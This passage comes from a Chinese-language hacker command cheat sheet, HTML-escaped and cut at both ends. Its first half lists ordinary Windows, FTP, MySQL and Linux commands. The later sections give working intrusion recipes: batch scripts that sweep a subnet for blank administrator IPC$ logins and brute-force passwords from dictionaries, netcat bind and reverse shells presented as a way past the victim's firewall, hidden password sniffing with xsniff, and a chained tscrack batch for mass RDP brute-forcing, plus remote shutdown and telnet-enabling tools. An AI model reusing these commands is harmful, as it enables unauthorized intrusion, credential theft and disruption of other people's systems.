属性；用＋则是添加为某属性 &lt;br /&gt;dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 &lt;br /&gt;date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间 &lt;br /&gt;set 指定环境变量名称=要指派给变量的字符 设置环境变量 &lt;br /&gt;set 显示当前所有的环境变量 &lt;br /&gt;set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 &lt;br /&gt;pause 暂停批处理程序，并显示出：请按任意键继续.... &lt;br /&gt;if 在批处理程序中执行条件处理（更多说明见if命令及变量） &lt;br /&gt;goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） &lt;br /&gt;call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） &lt;br /&gt;for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） &lt;br /&gt;echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 &lt;br /&gt;echo 信息 在屏幕上显示出信息 &lt;br /&gt;echo 信息 &amp;gt;&amp;gt; pass.txt 将"信息"保存到pass.txt文件中 &lt;br /&gt;findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello &lt;br /&gt;find 文件名 查找某文件 &lt;br /&gt;title 标题名字 更改CMD窗口标题名字 &lt;br /&gt;color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 &lt;br /&gt;prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;#3 三：&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;ver 在DOS窗口下显示版本信息 &lt;br /&gt;winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） &lt;br /&gt;format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS &lt;br /&gt;md　目录名 创建目录 &lt;br /&gt;replace 源文件　要替换文件的目录 替换文件 &lt;br /&gt;ren 原文件名　新文件名 重命名文件名 &lt;br /&gt;tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 &lt;br /&gt;type 文件名 显示文本文件的内容 &lt;br /&gt;more 文件名 逐屏显示输出文件 &lt;br /&gt;doskey 要锁定的命令＝字符&lt;br /&gt;doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= &lt;br /&gt;taskmgr 调出任务管理器 &lt;br /&gt;chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 &lt;br /&gt;tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 &lt;br /&gt;exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe &lt;br /&gt;path 路径\可执行文件的文件名 为可执行文件设置一个路径。 &lt;br /&gt;cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? &lt;br /&gt;regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； &lt;br /&gt;regedit /e 注册表文件名 导出注册表 &lt;br /&gt;cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 &lt;br /&gt;cacls 文件名 查看文件的访问用户权限列表 &lt;br /&gt;REM 文本内容 在批处理文件中添加注解 &lt;br /&gt;netsh 查看或更改本地网络配置情况&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;#4 四：&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;IIS服务命令： &lt;br /&gt;iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） &lt;br /&gt;iisreset /start或stop 启动（停止）所有Internet服务 &lt;br /&gt;iisreset /restart 停止然后重新启动所有Internet服务 &lt;br /&gt;iisreset /status 显示所有Internet服务状态 &lt;br /&gt;iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 &lt;br /&gt;iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 &lt;br /&gt;iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 &lt;br /&gt;iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 &lt;br /&gt;FTP 命令： (后面有详细说明内容) &lt;br /&gt;ftp的命令行格式为:&lt;br /&gt;ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。&lt;br /&gt;－d 使用调试方式。 &lt;br /&gt;－n 限制ftp的自动登录,即不使用.netrc文件。&lt;br /&gt;－g 取消全局文件名。 &lt;br /&gt;help [命令] 或 ？[命令] 查看命令说明 &lt;br /&gt;bye 或 quit 终止主机FTP进程,并退出FTP管理方式. &lt;br /&gt;pwd 列出当前远端主机目录 &lt;br /&gt;put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 &lt;br /&gt;get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 &lt;br /&gt;mget [remote-files] 从远端主机接收一批文件至本地主机 &lt;br /&gt;mput local-files 将本地主机中一批文件传送至远端主机 &lt;br /&gt;dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 &lt;br /&gt;ascii 设定以ASCII方式传送文件(缺省值) &lt;br /&gt;bin 或 image 设定以二进制方式传送文件 &lt;br /&gt;bell 每完成一次文件传送,报警提示 &lt;br /&gt;cdup 返回上一级目录 &lt;br /&gt;close 中断与远程服务器的ftp会话(与open对应) &lt;br /&gt;open host[port] 建立指定ftp服务器连接,可指定连接端口 &lt;br /&gt;delete 删除远端主机中的文件 &lt;br /&gt;mdelete [remote-files] 删除一批文件 &lt;br /&gt;mkdir directory-name 在远端主机中建立目录 &lt;br /&gt;rename [from] [to] 改变远端主机中的文件名 &lt;br /&gt;rmdir directory-name 删除远端主机中的目录 &lt;br /&gt;status 显示当前FTP的状态 &lt;br /&gt;system 显示远端主机系统类型 &lt;br /&gt;user user-name [password] [account] 重新以别的用户名登录远端主机 &lt;br /&gt;open host [port] 重新建立一个新的连接 &lt;br /&gt;prompt 交互提示模式 &lt;br /&gt;macdef 定义宏命令 &lt;br /&gt;lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 &lt;br /&gt;chmod 改变远端主机的文件权限 &lt;br /&gt;case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 &lt;br /&gt;cd remote－dir 进入远程主机目录 &lt;br /&gt;cdup 进入远程主机目录的父目录 &lt;br /&gt;! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;#5 五：&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;MYSQL 命令： &lt;br /&gt;mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。&lt;br /&gt;（例：mysql -h110.110.110.110 -Uroot -P123456 &lt;br /&gt;注:u与root可以不用加空格，其它也一样） &lt;br /&gt;exit 退出MYSQL &lt;br /&gt;mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 &lt;br /&gt;grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） &lt;br /&gt;show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 &lt;br /&gt;use mysql；&lt;br /&gt;show tables; 显示库中的数据表 &lt;br /&gt;describe 表名; 显示数据表的结构 &lt;br /&gt;create database 库名; 建库 &lt;br /&gt;use 库名；&lt;br /&gt;create table 表名 (字段设定列表)； 建表 &lt;br /&gt;drop database 库名; &lt;br /&gt;drop table 表名； 删库和删表 &lt;br /&gt;delete from 表名; 将表中记录清空 &lt;br /&gt;select * from 表名; 显示表中的记录 &lt;br /&gt;mysqldump --opt school&amp;gt;school.bbb 备份数据库：（命令在DOS的&lt;/font &gt;&lt;a href="file://mysql//bin" &gt;&lt;font color="#ff6600" size="2" &gt;\\mysql\\bin&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt;目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 &lt;br /&gt;win2003系统下新增命令（实用部份）： &lt;br /&gt;shutdown /参数 关闭或重启本地或远程主机。&lt;br /&gt;参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。&lt;br /&gt;例：shutdown /r /t 0 立即重启本地主机（无延时） &lt;br /&gt;taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。&lt;br /&gt;参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 &lt;br /&gt;tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。&lt;br /&gt;参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;#6 六：&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;Linux系统下基本命令： 要区分大小写 &lt;br /&gt;uname 显示版本信息（同win2K的 ver） &lt;br /&gt;dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） &lt;br /&gt;pwd 查询当前所在的目录位置 &lt;br /&gt;cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 &lt;br /&gt;cat 文件名 查看文件内容 &lt;br /&gt;cat &amp;gt;abc.txt 往abc.txt文件中写上内容。 &lt;br /&gt;more 文件名 以一页一页的方式显示一个文本文件。 &lt;br /&gt;cp 复制文件 &lt;br /&gt;mv 移动文件 &lt;br /&gt;rm 文件名 删除文件，rm -a 目录名删除目录及子目录 &lt;br /&gt;mkdir 目录名 建立目录 &lt;br /&gt;rmdir 删除子目录，目录内没有文档。 &lt;br /&gt;chmod 设定档案或目录的存取权限 &lt;br /&gt;grep 在档案中查找字符串 &lt;br /&gt;diff 档案文件比较 &lt;br /&gt;find 档案搜寻 &lt;br /&gt;date 现在的日期、时间 &lt;br /&gt;who 查询目前和你使用同一台机器的人以及Login时间地点 &lt;br /&gt;w 查询目前上机者的详细资料 &lt;br /&gt;whoami 查看自己的帐号名称 &lt;br /&gt;groups 查看某人的Group &lt;br /&gt;passwd 更改密码 &lt;br /&gt;history 查看自己下过的命令 &lt;br /&gt;ps 显示进程状态 &lt;br /&gt;kill 停止某进程 &lt;br /&gt;gcc 黑客通常用它来编译C语言写的文件 &lt;br /&gt;su 权限转换为指定使用者 &lt;br /&gt;telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 &lt;br /&gt;ftp ftp连接上某服务器（同win2K） &lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;附：批处理命令与变量&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;1：for命令及变量 基本格式： &lt;br /&gt;FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。&lt;br /&gt;批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use &lt;/font &gt;&lt;a href="file://ip/ipc$" &gt;&lt;font color="#ff6600" size="2" &gt;\\ip\ipc$&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; pass /user:user 中ip为%1,pass为%2 ,user为%3&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 }&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp;amp; 来隔开&lt;br /&gt;command_parameters：为特定命令指定参数或命令行开关&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;IN (set)：指在(set)中取值；DO command ：指执行command&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 &lt;br /&gt;用法举例： &lt;br /&gt;@echo off &lt;br /&gt;echo 用法格式：test.bat *.*.* &amp;gt; test.txt &lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;for /L %%G in (1 1 254) do echo %1.%%G &amp;gt;&amp;gt;test.txt &amp;amp; net use &lt;/font &gt;&lt;a href="file://%251.%25%25G/" &gt;&lt;font color="#ff6600" size="2" &gt;\\%1.%%G&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; /user:administrator | find "命令成功完成" &amp;gt;&amp;gt;test.txt &lt;br /&gt;存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp;amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 &lt;br /&gt;@echo off &lt;br /&gt;echo 用法格式：ok.bat ip &lt;br /&gt;FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 &lt;br /&gt;存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;#7 七：&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;2：if命令及变量 基本格式： &lt;br /&gt;IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。&lt;br /&gt;例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。&lt;br /&gt;0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 &lt;br /&gt;IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。&lt;br /&gt;例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） &lt;br /&gt;IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。&lt;br /&gt;例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。 &lt;br /&gt;IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用&amp;lt; &amp;gt;括起来，因为del命令要单独一行时才能执行，用上&amp;lt; &amp;gt;后就等于是单独一行了；例如：“if exist test.txt. &amp;lt;del test.txt.&amp;gt; else echo test.txt.missing ”，注意命令中的“.” &lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;（二）系统外部命令(均需下载相关工具)：&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;1、瑞士军刀：nc.exe&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;参数说明： &lt;br /&gt;-h 查看帮助信息 &lt;br /&gt;-d 后台模式 &lt;br /&gt;-e prog程序重定向，一但连接就执行［危险］ &lt;br /&gt;-i secs延时的间隔 &lt;br /&gt;-l 监听模式，用于入站连接 &lt;br /&gt;-L 监听模式，连接天闭后仍然继续监听，直到CTR+C &lt;br /&gt;-n IP地址，不能用域名 &lt;br /&gt;-o film记录16进制的传输 &lt;br /&gt;-p[空格]端口 本地端口号 &lt;br /&gt;-r 随机本地及远程端口 &lt;br /&gt;-t 使用Telnet交互方式 &lt;br /&gt;-u UDP模式 &lt;br /&gt;-v 详细输出，用-vv将更详细 &lt;br /&gt;-w数字 timeout延时间隔 &lt;br /&gt;-z 将输入，输出关掉（用于扫锚时） &lt;br /&gt;基本用法： &lt;br /&gt;nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 &lt;br /&gt;nc -l -p 80 开启本机的TCP 80端口并监听 &lt;br /&gt;nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 &lt;br /&gt;nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 &lt;br /&gt;nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 &lt;br /&gt;高级用法： &lt;br /&gt;nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 &lt;br /&gt;nc -L -p 80 &amp;gt; c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt &lt;br /&gt;nc -L -p 80 &amp;lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 &lt;br /&gt;type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 &lt;br /&gt;本机上用：nc -l -p 本机端口 &lt;br /&gt;在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K&lt;br /&gt;nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 &lt;br /&gt;本机上用：nc -d -l -p 本机端口 &amp;lt; 要传送的文件路径及名称 &lt;br /&gt;在对方主机上用：nc -vv 本机IP 本机端口 &amp;gt; 存放文件的路径及名称 传送文件到对方主机 &lt;br /&gt;备 注： &lt;br /&gt;| 管道命令 &lt;br /&gt;&amp;lt; 或 &amp;gt; 重定向命令。“&amp;lt;”，例如：tlntadmn &amp;lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 &lt;br /&gt;＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &amp;gt;&amp;gt; d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 &lt;br /&gt;&amp;gt;与&amp;gt;&amp;gt;的区别 　"&amp;gt;"指：覆盖；"&amp;gt;&amp;gt;"指：保存到(添加到）。&lt;br /&gt;如：@dir c:\winnt &amp;gt;&amp;gt; d:\log.txt和@dir c:\winnt &amp;gt; d:\log.txt二个命令分别执行二次比较看：用&amp;gt;&amp;gt;的则是把二次的结果都保存了，而用：&amp;gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;#8 八：&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;2、扫锚工具：xscan.exe&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;基本格式 &lt;br /&gt;xscan -host &amp;lt;起始IP&amp;gt;[-&amp;lt;终止IP&amp;gt;] &amp;lt;检测项目&amp;gt; [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 &lt;br /&gt;xscan -file &amp;lt;主机列表文件名&amp;gt; &amp;lt;检测项目&amp;gt; [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 &lt;br /&gt;检测项目 &lt;br /&gt;-active 检测主机是否存活 &lt;br /&gt;-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） &lt;br /&gt;-port 检测常用服务的端口状态 &lt;br /&gt;-ftp 检测FTP弱口令 &lt;br /&gt;-pub 检测FTP服务匿名用户写权限 &lt;br /&gt;-pop3 检测POP3-Server弱口令 &lt;br /&gt;-smtp 检测SMTP-Server漏洞 &lt;br /&gt;-sql 检测SQL-Server弱口令 &lt;br /&gt;-smb 检测NT-Server弱口令 &lt;br /&gt;-iis 检测IIS编码/解码漏洞 &lt;br /&gt;-cgi 检测CGI漏洞 &lt;br /&gt;-nasl 加载Nessus攻击脚本 &lt;br /&gt;-all 检测以上所有项目 &lt;br /&gt;其它选项 &lt;br /&gt;-i 适配器编号 设置网络适配器, &amp;lt;适配器编号&amp;gt;可通过"-l"参数获取 &lt;br /&gt;-l 显示所有网络适配器 &lt;br /&gt;-v 显示详细扫描进度 &lt;br /&gt;-p 跳过没有响应的主机 &lt;br /&gt;-o 跳过没有检测到开放端口的主机 &lt;br /&gt;　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 &lt;br /&gt;-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) &lt;br /&gt;用法示例 &lt;br /&gt;xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 &lt;br /&gt;xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 &lt;br /&gt;xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;#9 九：&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;3、命令行方式嗅探器: xsniff.exe&lt;br /&gt;可捕获局域网内FTP/SMTP/POP3/HTTP协议密码&lt;br /&gt;参数说明 &lt;br /&gt;-tcp 输出TCP数据报 &lt;br /&gt;-udp 输出UDP数据报 &lt;br /&gt;-icmp 输出ICMP数据报 &lt;br /&gt;-pass 过滤密码信息 &lt;br /&gt;-hide 后台运行 &lt;br /&gt;-host 解析主机名 &lt;br /&gt;-addr IP地址 过滤IP地址 &lt;br /&gt;-port 端口 过滤端口 &lt;br /&gt;-log 文件名 将输出保存到文件 &lt;br /&gt;-asc 以ASCII形式输出 &lt;br /&gt;-hex 以16进制形式输出 &lt;br /&gt;用法示例 &lt;br /&gt;xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 &lt;br /&gt;xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 &lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;4、终端服务密码破解: tscrack.exe&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;参数说明 &lt;br /&gt;-h 显示使用帮助 &lt;br /&gt;-v 显示版本信息 &lt;br /&gt;-s 在屏幕上打出解密能力 &lt;br /&gt;-b 密码错误时发出的声音 &lt;br /&gt;-t 同是发出多个连接（多线程） &lt;br /&gt;-N Prevent System Log entries on targeted server &lt;br /&gt;-U 卸载移除tscrack组件 &lt;br /&gt;-f 使用－f后面的密码 &lt;br /&gt;-F 间隔时间（频率） &lt;br /&gt;-l 使用－l后面的用户名 &lt;br /&gt;-w 使用－w后面的密码字典 &lt;br /&gt;-p 使用－p后面的密码 &lt;br /&gt;-D 登录主页面 &lt;br /&gt;用法示例 &lt;br /&gt;tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 &lt;br /&gt;tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 &lt;br /&gt;@if not exist ipcscan.txt goto noscan &lt;br /&gt;@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i &lt;br /&gt;nscan &lt;br /&gt;@echo 3389.txt no find or scan faild &lt;br /&gt;(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) &lt;br /&gt;3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat &lt;br /&gt;@if not exist tscrack.exe goto noscan &lt;br /&gt;@tscrack %1 -l administrator -w pass.dic &amp;gt;&amp;gt;rouji.txt &lt;br /&gt;:noscan &lt;br /&gt;@echo tscrack.exe no find or scan faild &lt;br /&gt;(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) &lt;br /&gt;hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。 &lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;5、其它：&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;Shutdown.exe &lt;br /&gt;Shutdown &lt;/font &gt;&lt;a href="file://IP/" &gt;&lt;font color="#ff6600" size="2" &gt;\\IP&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt;地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） &lt;br /&gt;fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） &lt;br /&gt;fpipe -l 80 -s 1029 -r 80 &lt;/font &gt;&lt;a href="http://www.sina.com.cn/" &gt;&lt;font color="#ff6600" size="2" &gt;www.sina.com.cn&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; 当有人扫锚你的80端口时，他扫到的结果会完全是&lt;/font &gt;&lt;a href="http://www.sina.com.cn/" &gt;&lt;font color="#ff6600" size="2" &gt;www.sina.com.cn&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt;的主机信息 &lt;br /&gt;Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 &lt;br /&gt;OpenTelnet.exe (远程开启telnet工具) &lt;br /&gt;opentelnet.exe &lt;/font &gt;&lt;a href="file://IP/" &gt;&lt;font color="#ff6600" size="2" &gt;\\IP&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet &lt;/font &gt;&lt;a href="file://ip/" &gt;&lt;font color="#ff6600" size="2" &gt;\\ip&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt; 连接上对方。&lt;br /&gt;NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;ResumeTelnet.exe (OpenTelnet附带的另一个工具) &lt;br /&gt;resumetelnet.exe &lt;/font &gt;&lt;a href="file://IP/" &gt;&lt;font color="#ff6600" size="2" &gt;\\IP&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt;　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;#10 十：&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;6、FTP命令详解：&lt;/font &gt;&lt;/p &gt;&lt;p 